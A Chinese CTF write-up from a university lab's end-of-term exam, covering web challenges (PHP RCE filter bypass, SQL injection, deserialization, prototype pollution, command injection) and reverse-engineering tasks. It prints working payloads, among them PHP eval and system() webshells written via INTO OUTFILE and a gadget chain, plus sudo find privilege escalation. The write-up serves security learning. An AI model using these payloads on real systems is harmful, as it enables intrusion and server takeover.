大一下实验室期末考核

一、Web

1、疯狂星期四

本题是RCE漏洞,我们打卡题目观察

 <?php

$tg1u=$_GET['tg1u'];

if(!preg_match("/0|1|[3-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\|localeconv|pos|current|print|var|dump|getallheaders|get|defined|str|split|spl|autoload|extensions|eval|phpversion|floor|sqrt|tan|cosh|sinh|ceil|chr|dir|getcwd|end|next|prev|reset|each|array|reverse|pop|rand|flip|content|echo|readfile|highlight|show|source|file|assert|getallheaders|current|pos/i", $tg1u)){
    //我要吃疯狂星期四!!!!!!!!!
    eval($tg1u);
}
else{
    die('这都做不出来是准备请师兄吃疯狂星期四吗?');
}

highlight_file(__FILE__); 

发现函数基本都被禁用,这里使用的是利用SESSIONID进行执行命令,Payload:

?tg1u=session_start();system(hex2bin(session_id()));

同时传入ls /(为什么不要双引号?)

因为已经有双引号了

Cookie: PHPSESSID=6c73202f

然后查看flag

Cookie: PHPSESSID=636174202f46313131313134613967

2、admin Pro Max

我们先使用弱口令 admin/admin 可以登录到一个用户界面

我们可以看到在加载文件之后,URL多了一个file参数,也就是说我们可以进行文件包含操作,但是现在我们还没有马可以包含我们要先写入木马

我们尝试SQL注入,发现应该是有黑名单,单引号无法使用

我们fuzz一下看看

发现单引号确实被过滤了,那我们试试单引号逃逸,假如后台的SQL查询语句是

SELECT user FROM user WHERE user='$_POST[username]' AND password='$_POST[password]';

由于转义的符号已经不起闭合作用,只是一个普通字符,那么去掉之后就会变成

SELECT user FROM user WHERE user='admin and password=' UNION SELECT 1,2,3#';

可以观察到在后方形成了一个联合注入查询,那么我们就可以开始进行攻击了,既然要写入木马,那么我们就先看看SQL对哪个目录有写入权限

UNION SELECT 1,@@secure_file_priv,3#

写入木马

UNION SELECT 1,<?php @eval($_POST[123]);?>,3 into outfile "/var/lib/mysql-files/1.php"#

然后直接传参即可

发现flag

告诉我们flag在secret中

3、瓦学弟上分记

根据提示要找源码,我们直接扫一下

发现一个备份文件,我们下载看看

主要是利用该类来进行写马,然后我们进行链子构造

<?php
class Valinit { public $mom; public $valt; }
class Process { public $data; public $valt; }
class Finalt { public $rank; public $file; public $content; }

// 构造对象链
$finalt = new Finalt();
$finalt->rank = "赋能";  // 满足条件
$finalt->file = "/var/www/html/shell.php"; // 目标路径
$finalt->content = "<?php system(\$_GET['cmd']); ?>"; // Webshell

$process = new Process();
$process->data = "any"; // 确保不满足md5条件
$process->valt = $finalt; // 触发__invoke

$valinit_mom = new Valinit();
$valinit_mom->mom = $process; // 触发__get

$root = new Valinit();
$root->mom = $valinit_mom; // 触发__toString

echo serialize($root);
?>

经过以下过程

destruct -> toString -> call -> get -> invoke

由于源码有一个解密的过程,所以我们弄一个加密即可

import base64
import codecs

def wadw_encode(input_str):
    str_data = base64.b64encode(input_str.encode('utf-8')).decode('utf-8')
    str_data = str_data[::-1]
    str_data = codecs.encode(str_data, 'rot13')
    translation_table = str.maketrans(
        'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',
        'MNBVCXZLKJHGFDSAPOIUYTREWQmnbvcxzlkjhgfdsapoiuytrewq9876543210+/'
    )
    str_data = str_data.translate(translation_table)
    str_data = base64.b64encode(str_data.encode('utf-8')).decode('utf-8')
    str_data = str_data[::-1]
    str_data = codecs.encode(str_data, 'rot13')
    return base64.b64encode(str_data.encode('utf-8')).decode('utf-8')

print(wadw_encode("""O:7:"Valinit":0:{}"""))

最终成功写入木马

查看flag即可

4、用户管理平台

我们打开源码发现TG1u账户,role为guest。同时发现Checkadmin方法,再往下发现进入好几个路由都需要admin身份。

但是我们发现一个merge函数

我们可以利用这个函数来实现原型链污染,将所有的role都污染为admin

在/user/update路由中,使用了merge函数,将session中的user信息与传入的内容进行递归合并。但是我们发现前面对传入内容有一个黑名单检查,我们看看这个方法

黑名单中有role但是没有__proto__,但是role的过滤对我们并没有影响。因为这里的黑名单检查中,只会读取到传入对象的第一层键,二我们污染的role是在第二层的键值对中的值中。

所以先以普通用户登录,然后携带session向/user/update路由post我们的payload即可

{ "__proto__": { "role": "admin" } }

然后就可以成功访问/admin路由

5、图床

(1)非预期解法

这个解法是因为写TG1u用户上传文件校验时的逻辑错误导致的,已修复

先扫一下网站

发现一个压缩包,下下来看看

我们看看登录逻辑,发现有一个TG1u用户,还有前端验证的哈希值

我们去彩虹表查询一下

查到密码之后登录,从代码中我们也可以看到,upload中也有针对TG1u账号的逻辑

我们发现,在这里的逻辑中,是不允许上传php文件的,但是我们再去上面看看,找到过滤逻辑

如果用户不是TG1u且文件名不符合规则则无法上传。那么也就是说用户是TG1u并没有限制

所以我们登录上TG1u,上传php木马,执行命令但是我们很快会发现,即使发现根目录有flag但是我们无法查看。所以需要提权,使用sudo -l来查找可以利用的提权方法

可以看到使用find命令提权可以无密码使用root权限

system("sudo find /flag -exec cat {} \;")

获得flag

(2)正常解法

我们观察到普通用户有一个可以命令注入的点,即

那么我们在前后加上分号,这个命令就会变成

base64;command; >/tmp/;command;.b64

可以看到命令会被执行,且会执行两次,由于uploads目录禁止访问php文件,那么我们直接使用phtml文件。

?file_path=;echo '<?php @eval($_GET[123]);?>' >./uploads/123.phtml;

然后我们就成功写入木马,然后利用TG1u用户的文件名检查不合格就会自动包含的特性

包含木马即可执行命令(为什么马不用POST?因为该页面还要同时以POST方式传入文件,如果用POST的话就还需要填入很多个参数)

二、Re

1、师兄的爱恋故事1(取证)

本题使用了Pyinstaller打包,我们直接使用PyGlimmer先进行解包,解包完成后,我们可以看到一个中文的pyc文件

然后直接使用pycdc进行解码,得到Python源代码

可以看出这是一个AES加密,我们解密即可

2、喜欢师兄讲的课吗

本题是安卓逆向,我们使用jadx打开,并找到MainActivaty,然后我们观察其中的逻辑,有一个预定数组c,逻辑是输入字符经过baby_xor方法之后与c进行比对,若一致则输出Success。

但是调用的加密方法在动态链接库中,我们直接去找arm64-v8a。然后使用ida反编译so文件。我们可以找到隐藏的Key

以及加密的逻辑

然后我们就逆向解密即可,附上脚本

encrypted = [119, 9, 40, 44, 106, 84, 113, 124, 34, 93, 122, 121, 119, 4, 120, 124, 36, 7, 127, 42, 117, 6, 112, 41, 32, 4, 112, 47, 119, 81, 123, 47, 33, 81, 40, 120, 114, 24]
key_cycle = [0x11, 0x65, 0x49, 0x4B]
decrypted = [encrypted[i] ^ key_cycle[i % 4] for i in range(len(encrypted))]
print(bytes(decrypted).decode()) 

对每个加密字节,使用XOR(异或)操作与密钥循环中的对应字节进行解密,密钥循环使用模4运算(i % 4)来实现循环使用,将解密后的字节列表转换为bytes对象,再解码为字符串输出即可

3、来喽来喽

本题使用EXEinfo查看之后也很容易看出是pyinstaller打包的exe,那么我们使用与第一题相同的方式进行解包,然后得到一堆pyc文件

我们直接使用pycdc批量解码

然后得到一堆脚本,我一个个的看,最终发现d.pyc应该是主要逻辑

注意到使用了Fernet加密,我们直接找到这个秘钥文件

使用在线解密,得到源代码

只需要输入糖果即可获得flag,观察之后也可以得知,flag其实就是“糖果”这两字经过base64编码之后md5得到的。

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇